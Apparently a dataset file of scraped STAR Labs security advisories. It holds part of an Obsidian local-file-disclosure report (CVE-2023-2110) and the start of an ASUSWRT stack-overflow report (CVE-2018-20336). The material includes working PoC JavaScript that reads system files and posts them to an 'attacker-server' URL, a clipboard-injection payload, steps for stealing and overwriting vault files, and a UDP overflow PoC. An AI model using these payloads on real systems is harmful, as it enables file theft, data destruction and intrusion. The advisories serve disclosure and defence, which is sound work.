class=\"nb\">window</span><span class=\"p\">.</span><span class=\"nx\">location</span> <span class=\"o\">=</span> <span class=\"sb\">`data:text/html,&lt;script&gt;(</span><span class=\"si\">${</span><span class=\"nx\">payload</span><span class=\"p\">.</span><span class=\"nx\">toString</span><span class=\"p\">()</span><span class=\"si\">}</span><span class=\"sb\">)()\\x3c/script&gt;`</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">function</span> <span class=\"nx\">payload</span><span class=\"p\">()</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"kd\">let</span> <span class=\"nx\">filename</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;app://local/&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"k\">if</span><span class=\"p\">(</span><span class=\"nx\">navigator</span><span class=\"p\">.</span><span class=\"nx\">platform</span> <span class=\"o\">===</span> <span class=\"s1\">&#39;Win32&#39;</span><span class=\"p\">){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nx\">filename</span> <span class=\"o\">+=</span> <span class=\"s1\">&#39;C:/Windows/win.ini&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}</span> <span class=\"k\">else</span> <span class=\"k\">if</span><span class=\"p\">(</span><span class=\"nx\">navigator</span><span class=\"p\">.</span><span class=\"nx\">platform</span><span class=\"p\">.</span><span class=\"nx\">startsWith</span><span class=\"p\">(</span><span class=\"s1\">&#39;Linux&#39;</span><span class=\"p\">)){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nx\">filename</span> <span class=\"o\">+=</span> <span class=\"s1\">&#39;/proc/self/root/etc/passwd&#39;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"kd\">let</span> <span class=\"nx\">r</span> <span class=\"o\">=</span> <span class=\"k\">new</span> <span class=\"nx\">XMLHttpRequest</span><span class=\"p\">();</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nx\">r</span><span class=\"p\">.</span><span class=\"nx\">open</span><span class=\"p\">(</span><span class=\"s1\">&#39;GET&#39;</span><span class=\"p\">,</span> <span class=\"nx\">filename</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nx\">r</span><span class=\"p\">.</span><span class=\"nx\">addEventListener</span><span class=\"p\">(</span><span class=\"s1\">&#39;load&#39;</span><span class=\"p\">,</span> <span class=\"nx\">e</span> <span class=\"p\">=&gt;</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"kd\">let</span> <span class=\"nx\">result</span> <span class=\"o\">=</span> <span class=\"nx\">e</span><span class=\"p\">.</span><span class=\"nx\">currentTarget</span><span class=\"p\">.</span><span class=\"nx\">responseText</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nx\">console</span><span class=\"p\">.</span><span class=\"nx\">log</span><span class=\"p\">(</span><span class=\"nx\">result</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nx\">confirm</span><span class=\"p\">(</span><span class=\"nx\">result</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nx\">fetch</span><span class=\"p\">(</span><span class=\"s1\">&#39;http://example.localtest.me/send-file-to-attacker-server&#39;</span><span class=\"p\">,</span> <span class=\"p\">{</span><span class=\"nx\">method</span><span class=\"o\">:</span> <span class=\"s1\">&#39;post&#39;</span><span class=\"p\">,</span> <span class=\"nx\">mode</span><span class=\"o\">:</span> <span class=\"s1\">&#39;no-cors&#39;</span><span class=\"p\">,</span> <span class=\"nx\">body</span><span class=\"o\">:</span> <span class=\"nx\">result</span><span class=\"p\">})</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">});</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nx\">r</span><span class=\"p\">.</span><span class=\"nx\">send</span><span class=\"p\">();</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;/</span><span class=\"nt\">script</span><span class=\"p\">&gt;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;/</span><span class=\"nt\">body</span><span class=\"p\">&gt;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;/</span><span class=\"nt\">html</span><span class=\"p\">&gt;</span>\r\n</span></span></code></pre></div><p>Save the above HTML file as <code>poc1.html</code> and serve it on a webserver, then append this line to any markdown file in Obsidian: <code>&lt;iframe src=&quot;http(s)://YOUR-WEB-SERVER/poc1.html&quot;&gt;&lt;/iframe&gt;</code>. Once the PoC is loaded in the iframe, it will:</p>\r\n<ol>\r\n<li>Try to read <code>C:/Windows/win.ini</code> on Windows, or <code>/etc/passwd</code> on Linux,</li>\r\n<li>Show the content of the file in a dialog,</li>\r\n<li>Send the file to external URL on <code>example.localtest.me</code> (this domain resolves to 127.0.0.1 for demonstration purposes only).</li>\r\n</ol>\r\n<p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-2110_03-poc1.gif\" alt=\"\"  />\r\n</p>\r\n<p><em>Note: A live version of poc1.html can be found at <code>https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html</code></em></p>\r\n<h2 id=\"attack-scenario\">Attack Scenario:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#attack-scenario\">#</a></h2>\r\n<h3 id=\"scenario-1-open-a-malicious-markdown-file\">Scenario 1: Open a malicious markdown file<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#scenario-1-open-a-malicious-markdown-file\">#</a></h3>\r\n<p>An attacker can inject an iframe tag in a markdown file and convince the victim to open it in Obsidian to trigger the payload.</p>\r\n<p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-2110_04-open-malicious-markdown-file-in-obsidian.gif\" alt=\"\"  />\r\n</p>\r\n<h3 id=\"scenario-2-copy-and-paste-from-a-webpage\">Scenario 2: Copy and paste from a webpage<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#scenario-2-copy-and-paste-from-a-webpage\">#</a></h3>\r\n<p>An attacker can craft a malicious webpage and hook on the <code>copy</code> event with the following code:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-html\" data-lang=\"html\"><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;</span><span class=\"nt\">script</span><span class=\"p\">&gt;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">  <span class=\"nb\">document</span><span class=\"p\">.</span><span class=\"nx\">addEventListener</span><span class=\"p\">(</span><span class=\"s1\">&#39;copy&#39;</span><span class=\"p\">,</span><span class=\"nx\">e</span><span class=\"p\">=&gt;{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nx\">e</span><span class=\"p\">.</span><span class=\"nx\">preventDefault</span><span class=\"p\">();</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">let</span> <span class=\"nx\">payload</span> <span class=\"o\">=</span> <span class=\"sb\">`&lt;img src=&#34;)&lt;iframe style=&#39;display:none&#39; src=&#39;https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html&#39;&gt;&lt;/iframe&gt;![](&#34;&gt;`</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nx\">e</span><span class=\"p\">.</span><span class=\"nx\">clipboardData</span><span class=\"p\">.</span><span class=\"nx\">setData</span><span class=\"p\">(</span><span class=\"s1\">&#39;text/html&#39;</span><span class=\"p\">,</span> <span class=\"nx\">payload</span> <span class=\"o\">+</span> <span class=\"nb\">window</span><span class=\"p\">.</span><span class=\"nx\">getSelection</span><span class=\"p\">());</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">  <span class=\"p\">})</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">&lt;/</span><span class=\"nt\">script</span><span class=\"p\">&gt;</span>\r\n</span></span></code></pre></div><p>When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Obsidian.</p>\r\n<p><em>Note: A live version of copy-and-paste PoC can be found <a href=\"https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/cp.html\">here</a>.</em></p>\r\n<p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-2110_05-copy-and-paste.gif\" alt=\"\"  />\r\n</p>\r\n<h3 id=\"additional-notes\">Additional Notes:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#additional-notes\">#</a></h3>\r\n<ol>\r\n<li>\r\n<p>It is possible to add <code>style=&quot;display:none&quot;</code> attribute to the iframe to make the exploit invisible.</p>\r\n</li>\r\n<li>\r\n<p>An attacker can get a list of recently opened vaults from:</p>\r\n<ul>\r\n<li><code>app://local/proc/self/cwd/.config/obsidian/obsidian.json</code> on Linux, or</li>\r\n<li><code>app://local/..%252f..%252fRoaming%2fObsidian%2fobsidian.json</code> on Windows</li>\r\n</ul>\r\n<p>Then get a file list of each vault from <code>app://local/PATH-TO-VAULT/.obsidian/workspace.json</code>, and finally reads every file in the vault. In another word, an attacker can exploit this vulnerability to leak most of the contents in the victim&rsquo;s vaults.</p>\r\n<p><em>An example of such exploit can be found at <code>https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc2.html</code></em></p>\r\n</li>\r\n<li>\r\n<p>Once the attacker obtained vault id from <code>obsidian.json</code>, it is possible to append arbitrary content to existing markdown files via <code>obsidian://new</code>.</p>\r\n<p>For example, executing <code>location = 'obsidian://new?file=Untitled.md&amp;vault=56cc6ab7be5a53d5&amp;append=1&amp;content=appended-content'</code> will add &ldquo;appended-content&rdquo; at the end of <code>Untitled.md</code> in the specified vault. This would make this vulnerability wormable, as the attacker is able to append the same payload invisibly to the victim&rsquo;s other markdown files.</p>\r\n<p>It is also possible for attacker to purge the files via the <code>overwrite</code> param: <code>location = 'obsidian://new?file=Untitled.md&amp;vault=56cc6ab7be5a53d5&amp;overwrite=1&amp;content=REMOVED'</code>. This will seriously compromise the integrity of the user&rsquo;s data.</p>\r\n</li>\r\n</ol>\r\n<h2 id=\"suggested-mitigations\">Suggested Mitigations:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#suggested-mitigations\">#</a></h2>\r\n<p>Prohibit http(s) webpages from accessing <code>app://</code> resources. It is also recommended to limit the local resources to be loaded only from the current vault directory.</p>\r\n<p>For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file or canvas file should not be opened in Obsidian, and (2) copying text from an untrusted webpage then pasting it into Obsidian should be avoided.</p>\r\n<h2 id=\"detection-guidance\">Detection Guidance:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#detection-guidance\">#</a></h2>\r\n<p>It is possible to detect the exploitation of this vulnerability by checking the presence of <code>iframe</code> tags loading suspicious URLs in markdown files.</p>\r\n<h2 id=\"credits\">Credits:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#credits\">#</a></h2>\r\n<p>Li Jiantao (<a href=\"https://twitter.com/CurseRed\">@CurseRed</a>) of STAR Labs SG Pte. Ltd. (<a href=\"https://twitter.com/starlabs_sg\">@starlabs_sg</a>)</p>\r\n<h2 id=\"timeline\">Timeline:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#timeline\">#</a></h2>\r\n<ul>\r\n<li>2023-04-28 Vendor Disclosure</li>\r\n<li>2023-05-03 Vendor Patch Release</li>\r\n<li>2023-08-19 Public Release</li>\r\n</ul>\r\n\r\n\r\n  </div>\r\n\r\n  <footer class=\"post-footer\">\r\n    <ul class=\"post-tags\">\r\n    </ul>\r\n<nav class=\"paginav\">\r\n  <a class=\"prev\" href=\"https://starlabs.sg/advisories/23/23-38625/\">\r\n    <span class=\"title\">« Prev</span>\r\n    <br>\r\n    <span>(CVE-2023-38625) Trend Micro Apex Central 2019 (&lt;= Build 6394) Authenticated SSRF</span>\r\n  </a>\r\n  <a class=\"next\" href=\"https://starlabs.sg/advisories/23/23-2316/\">\r\n    <span class=\"title\">Next »</span>\r\n    <br>\r\n    <span>(CVE-2023-2316) Typora Local File Disclosure</span>\r\n  </a>\r\n</nav>\r\n\r\n  </footer>\r\n</article>\r\n    </main>\r\n    \r\n<footer class=\"footer\">\r\n    <span>&copy; 2024 <a href=\"https://starlabs.sg/\">STAR Labs</a></span>\r\n    <span>\r\n        Powered by\r\n        <a href=\"https://gohugo.io/\" rel=\"noopener noreferrer\" target=\"_blank\">Hugo</a> &\r\n        <a href=\"https://git.io/hugopapermod\" rel=\"noopener\" target=\"_blank\">PaperMod</a>\r\n    </span>\r\n</footer>\r\n<a href=\"#top\" aria-label=\"go to top\" title=\"Go to Top (Alt + G)\" class=\"top-link\" id=\"top-link\" accesskey=\"g\">\r\n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 12 6\" fill=\"currentColor\">\r\n        <path d=\"M12 6H0l6-6z\" />\r\n    </svg>\r\n</a>\r\n\r\n<script>\r\n    let menu = document.getElementById('menu')\r\n    if (menu) {\r\n        menu.scrollLeft = localStorage.getItem(\"menu-scroll-position\");\r\n        menu.onscroll = function () {\r\n            localStorage.setItem(\"menu-scroll-position\", menu.scrollLeft);\r\n        }\r\n    }\r\n\r\n    document.querySelectorAll('a[href^=\"#\"]').forEach(anchor => {\r\n        anchor.addEventListener(\"click\", function (e) {\r\n            e.preventDefault();\r\n            var id = this.getAttribute(\"href\").substr(1);\r\n            if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({\r\n                    behavior: \"smooth\"\r\n                });\r\n            } else {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView();\r\n            }\r\n            if (id === \"top\") {\r\n                history.replaceState(null, null, \" \");\r\n            } else {\r\n                history.pushState(null, null, `#${id}`);\r\n            }\r\n        });\r\n    });\r\n\r\n</script>\r\n<script>\r\n    var mybutton = document.getElementById(\"top-link\");\r\n    window.onscroll = function () {\r\n        if (document.body.scrollTop > 800 || document.documentElement.scrollTop > 800) {\r\n            mybutton.style.visibility = \"visible\";\r\n            mybutton.style.opacity = \"1\";\r\n        } else {\r\n            mybutton.style.visibility = \"hidden\";\r\n            mybutton.style.opacity = \"0\";\r\n        }\r\n    };\r\n\r\n</script>\r\n</body>\r\n\r\n</html>\r\n"
  },
  {
    "path": "task1_source_code/test_examples/250.txt",
    "content": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\r\n<meta name=\"robots\" content=\"index, follow\">\r\n<title>(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c | STAR Labs</title>\r\n<meta name=\"keywords\" content=\"\">\r\n<meta name=\"description\" content=\"CVE: CVE-2018-20336\r\nTested Versions: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)\r\nProduct URL(s): https://www.asus.com/us/ASUSWRT/\r\nASUSWRT is the firmware that is shipped with modern ASUS routers. ASUSWRT has a web-based interface, so it doesn&rsquo;t need a separate app, or restrict what you can change via mobile devices &ndash; you get full access to everything, from any device that can run a web browser.\r\nVulnerability There is a stack overflow issue in parse_req_queries function in wanduck.c, which may lead to information leak.\">\r\n<meta name=\"author\" content=\"Shi Ji (@Puzzorsj)\">\r\n<link rel=\"canonical\" href=\"https://starlabs.sg/advisories/18/18-20336/\">\r\n<link crossorigin=\"anonymous\" href=\"/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css\" integrity=\"sha256-7I2jZsovtkdTfMt6j2&#43;ltOnNPHoNMXHdLTuq0eSci/w=\" rel=\"preload stylesheet\" as=\"style\">\r\n<script defer crossorigin=\"anonymous\" src=\"/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js\" integrity=\"sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8=\"\r\n    onload=\"hljs.initHighlightingOnLoad();\"></script>\r\n<link rel=\"icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"apple-touch-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"mask-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<meta name=\"theme-color\" content=\"#2e2e33\">\r\n<meta name=\"msapplication-TileColor\" content=\"#2e2e33\">\r\n<noscript>\r\n    <style>\r\n        #theme-toggle,\r\n        .top-link {\r\n            display: none;\r\n        }\r\n\r\n    </style>\r\n</noscript>\r\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ\"></script>\r\n<script>\r\nvar doNotTrack = false;\r\nif (!doNotTrack) {\r\n\twindow.dataLayer = window.dataLayer || [];\r\n\tfunction gtag(){dataLayer.push(arguments);}\r\n\tgtag('js', new Date());\r\n\tgtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });\r\n}\r\n</script>\r\n<meta property=\"og:title\" content=\"(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c\" />\r\n<meta property=\"og:description\" content=\"CVE: CVE-2018-20336\r\nTested Versions: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)\r\nProduct URL(s): https://www.asus.com/us/ASUSWRT/\r\nASUSWRT is the firmware that is shipped with modern ASUS routers. ASUSWRT has a web-based interface, so it doesn&rsquo;t need a separate app, or restrict what you can change via mobile devices &ndash; you get full access to everything, from any device that can run a web browser.\r\nVulnerability There is a stack overflow issue in parse_req_queries function in wanduck.c, which may lead to information leak.\" />\r\n<meta property=\"og:type\" content=\"article\" />\r\n<meta property=\"og:url\" content=\"https://starlabs.sg/advisories/18/18-20336/\" /><meta property=\"og:image\" content=\"https://starlabs.sg/logo-white.png\"/><meta property=\"article:section\" content=\"advisories\" />\r\n<meta property=\"article:published_time\" content=\"2019-02-19T00:00:00&#43;00:00\" />\r\n<meta property=\"article:modified_time\" content=\"2019-02-19T00:00:00&#43;00:00\" /><meta property=\"og:site_name\" content=\"STAR Labs\" />\r\n\r\n<meta name=\"twitter:card\" content=\"summary_large_image\"/>\r\n<meta name=\"twitter:image\" content=\"https://starlabs.sg/logo-white.png\"/>\r\n\r\n<meta name=\"twitter:title\" content=\"(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c\"/>\r\n<meta name=\"twitter:description\" content=\"CVE: CVE-2018-20336\r\nTested Versions: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)\r\nProduct URL(s): https://www.asus.com/us/ASUSWRT/\r\nASUSWRT is the firmware that is shipped with modern ASUS routers. ASUSWRT has a web-based interface, so it doesn&rsquo;t need a separate app, or restrict what you can change via mobile devices &ndash; you get full access to everything, from any device that can run a web browser.\r\nVulnerability There is a stack overflow issue in parse_req_queries function in wanduck.c, which may lead to information leak.\"/>\r\n\r\n\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BreadcrumbList\",\r\n  \"itemListElement\": [\r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  1 ,\r\n      \"name\": \"Advisories\",\r\n      \"item\": \"https://starlabs.sg/advisories/\"\r\n    }, \r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  2 ,\r\n      \"name\": \"(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c\",\r\n      \"item\": \"https://starlabs.sg/advisories/18/18-20336/\"\r\n    }\r\n  ]\r\n}\r\n</script>\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BlogPosting\",\r\n  \"headline\": \"(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c\",\r\n  \"name\": \"(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c\",\r\n  \"description\": \"CVE: CVE-2018-20336\\nTested Versions: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)\\nProduct URL(s): https://www.asus.com/us/ASUSWRT/\\nASUSWRT is the firmware that is shipped with modern ASUS routers. ASUSWRT has a web-based interface, so it doesn\\u0026rsquo;t need a separate app, or restrict what you can change via mobile devices \\u0026ndash; you get full access to everything, from any device that can run a web browser.\\nVulnerability There is a stack overflow issue in parse_req_queries function in wanduck.c, which may lead to information leak.\",\r\n  \"keywords\": [\r\n    \r\n  ],\r\n  \"articleBody\": \"CVE: CVE-2018-20336\\nTested Versions: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)\\nProduct URL(s): https://www.asus.com/us/ASUSWRT/\\nASUSWRT is the firmware that is shipped with modern ASUS routers. ASUSWRT has a web-based interface, so it doesn’t need a separate app, or restrict what you can change via mobile devices – you get full access to everything, from any device that can run a web browser.\\nVulnerability There is a stack overflow issue in parse_req_queries function in wanduck.c, which may lead to information leak.\\nPoC from socket import * HOST = '192.168.50.1' PORT = 18018 BUFSIZE = 4096 ADDR = (HOST, PORT) udpCliSock = socket(AF_INET, SOCK_DGRAM) data = \\\"A\\\"*2046+\\\"\\\\x00F\\\" udpCliSock.sendto(data,ADDR) data,ADDR = udpCliSock.recvfrom(BUFSIZE) if data: print len(data) udpCliSock.close() Wanduck is a program that listens on TCP 18017 and UDP 18018. Port 18017 is most likely a HTTP server and 18018 is most likely a DNS server. The HTTP server on port 18017 will redirect HTTP request to the 80 port and the DNS server will process the dns request packet.\\nThe file wanduck.c can be found under the src/rc/ directory is the provided ASUSWRT source code. We are going to have a look at the main function wanduck_main, this is the entry of the main program. run_dns_serv function is the entry to receive packet from port 18018, we will check the code from this function, the source is like below:\\nvoid run_dns_serv(int sockfd){ int n; char line[MAXLINE]; struct sockaddr_in cliaddr; int clilen = sizeof(cliaddr); memset(line, 0, MAXLINE); memset(\\u0026cliaddr, 0, clilen); if((n = recvfrom(sockfd, line, MAXLINE, 0, (struct sockaddr *)\\u0026cliaddr, (socklen_t *)\\u0026clilen)) == 0)\\t// client close \\treturn; else if(n  0){ perror(\\\"wanduck serv dns\\\"); return; } else handle_dns_req(sockfd, line, n, (struct sockaddr *)\\u0026cliaddr, clilen); } MAXLINE is defined in wanduck.h with the value of 2048, so this function will first receive a max buffer of 2048 bytes from the sender, and then handle_dns_req will process the DNS request packet. A variable reply_content is defined at the begining of the handle_dns_req function like below:\\nvoid handle_dns_req(int sfd, char *line, int maxlen, struct sockaddr *pcliaddr, int clen){ dns_query_packet d_req; dns_response_packet d_reply; int reply_size; char reply_content[MAXLINE]; As we can see here, reply_content is designed to have a max size of 2048 bytes. After process is intialized in handle_dns_req, the dns request packet will be passed to parse_req_queries function, this function accepts 4 parameters:\\n char *content, stands for the reply(dns response) content char *lp, stands for the DNS Question part int len, stands for the length of the DNS Question part (a max of 2048-len(dns request header)) int *reply_size, pointer to the reply packet size  Let’s check this function, the whole function code is as below:\\nvoid parse_req_queries(char *content, char *lp, int len, int *reply_size){ int i, rn; rn = *(reply_size); for(i = 0; i  len; ++i){ content[rn+i] = lp[i]; if(lp[i] == 0){ ++i; break; } } if(i = len) return; content[rn+i] = lp[i]; content[rn+i+1] = lp[i+1]; content[rn+i+2] = lp[i+2]; content[rn+i+3] = lp[i+3]; i += 4; *reply_size += i; } Obviously, there is a stack overflow in the function: let’s assume there is a NULL(\\\\x00) at the second-to-last of lp buffer, then the for loop will ended and i will be added with 1. There is a judgement to check whether i is larger than len, but this check is not enough. Let’s assume i equals to len-1, then the following code will be executed:\\ncontent[rn+i] = lp[i]; content[rn+i+1] = lp[i+1]; content[rn+i+2] = lp[i+2]; content[rn+i+3] = lp[i+3]; i += 4; *reply_size += i; As we have said, rn points to the reply packet size and this value, in this case, the rn passed to this function is the length of DNS Request Header. Then,\\nrn+i == rn+len-1 rn+i+1==rn+len rn+i+2==rn+len+1 rn+i+3==rn+len+2 i+4==len-1+4==len+3 reply_size= len(dns header)+len-1+4 So this will casuse an Out of bound write problem, and also, this will also cause information leak, for the reply_size is greater than 0x800(2048) bytes.\\nLet’s debug the wanduck process dynamically, we will use the PoC we provied.\\nsub_7D218 is the handle_dns_req function, and sub_7D0F8 is the parse_req_queries function. We first set a breakpoint at the line where parse_req_queries is called:\\nThen we run our PoC code, and the program will break at line 63, and then we will follow the code and see what happens.\\na3 is len in source code, and in our case this value is 0x7F4 because the DNS header is 0xC, so the value is 0x800-0xC=0x7F4. Since the second-to-last byte in our PoC is “\\\\x00”, so line 20 will be hit when v4 is 0x7F3, since 0x7F3 is less than 0x7F4, then line 22 to line 30 will be executed.\\nresult in our case is at 0xBE85A71C, from the source code we know its size is 0x800, so the end address of result is at 0xBE85AF1C, when line 26 is executed, result will be 0xBE85AF1B, so line 28 and line 29 will cause a buffer overflow.\\nWhat’s more, the reply_size will be 0x7F4+0xC+0x3=0x803, at the end of handle_dns_req , reply_size will also add 0x10(sizeof(d_reply.answers)), so the final reply_size will be 0x813. It is larger than 0x800, which will cause an information leak.\\nTimeline  2019-02-19 Vendor disclosure 2019-02-25 Vendor acknowledged 2019-03-29 Firmware update released  Vendor Response The vendor has acknowledged the issue and released a new firmware update to address this vulnerability.\\nThe updated firmware can be downloaded from the Support section of a particular router that runs ASUSWRT, such as https://www.asus.com/Networking/RTAC68U/HelpDesk_Download/.\\nThe update description lists both issues CVE-2018-20334 and CVE-2018-20336 discovered by STAR Labs as fixed.\\n\",\r\n  \"wordCount\" : \"905\",\r\n  \"inLanguage\": \"en\",\r\n  \"datePublished\": \"2019-02-19T00:00:00Z\",\r\n  \"dateModified\": \"2019-02-19T00:00:00Z\",\r\n  \"author\":{\r\n    \"@type\": \"Person\",\r\n    \"name\": \"Shi Ji (@Puzzorsj)\"\r\n  },\r\n  \"mainEntityOfPage\": {\r\n    \"@type\": \"WebPage\",\r\n    \"@id\": \"https://starlabs.sg/advisories/18/18-20336/\"\r\n  },\r\n  \"publisher\": {\r\n    \"@type\": \"Organization\",\r\n    \"name\": \"STAR Labs\",\r\n    \"logo\": {\r\n      \"@type\": \"ImageObject\",\r\n      \"url\": \"https://starlabs.sg/logo-white.png\"\r\n    }\r\n  }\r\n}\r\n</script>\r\n</head>\r\n\r\n<body class=\" dark\" id=\"top\">\r\n\r\n<header class=\"header\">\r\n    <nav class=\"nav\">\r\n        <div class=\"logo\">\r\n            <a href=\"https://starlabs.sg/\" accesskey=\"h\" title=\"  (Alt + H)\">\r\n                <img src=\"https://starlabs.sg/logo-white.png\" alt=\"logo\" aria-label=\"logo\"\r\n                    height=\"35\"> </a>\r\n            <span class=\"logo-switches\">\r\n            </span>\r\n        </div>\r\n        <ul id=\"menu\">\r\n            <li>\r\n                <a href=\"https://starlabs.sg/\" title=\"Home\">\r\n                    <span>Home</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/about/\" title=\"About\">\r\n                    <span>About</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/advisories/\" title=\"Advisories\">\r\n                    <span>Advisories</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/blog/\" title=\"Blog\">\r\n                    <span>Blog</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/achievements/\" title=\"Achievements\">\r\n                    <span>Achievements</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/publications/\" title=\"Publications\">\r\n                    <span>Publications</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/search/\" title=\"Search (Alt &#43; /)\" accesskey=/>\r\n                    <span>Search</span>\r\n                </a>\r\n            </li>\r\n        </ul>\r\n    </nav>\r\n</header>\r\n<main class=\"main\">\r\n\r\n<article class=\"post-single\">\r\n  <header class=\"post-header\">\r\n    <div class=\"breadcrumbs\"><a href=\"https://starlabs.sg/\">Home</a>&nbsp;»&nbsp;<a href=\"https://starlabs.sg/advisories/\">Advisories</a></div>\r\n    <h1 class=\"post-title\">\r\n      (CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c\r\n    </h1>\r\n    <div class=\"post-meta\"><span title='2019-02-19 00:00:00 +0000 UTC'>February 19, 2019</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Shi Ji (@Puzzorsj)\r\n\r\n</div>\r\n  </header> <div class=\"toc\">\r\n    <details >\r\n        <summary accesskey=\"c\" title=\"(Alt + C)\">\r\n            <span class=\"details\">Table of Contents</span>\r\n        </summary>\r\n\r\n        <div class=\"inner\"><ul>\r\n                <li>\r\n                    <a href=\"#vulnerability\" aria-label=\"Vulnerability\">Vulnerability</a><ul>\r\n                        \r\n                <li>\r\n                    <a href=\"#poc\" aria-label=\"PoC\">PoC</a></li></ul>\r\n                </li>\r\n                <li>\r\n                    <a href=\"#timeline\" aria-label=\"Timeline\">Timeline</a></li>\r\n                <li>\r\n                    <a href=\"#vendor-response\" aria-label=\"Vendor 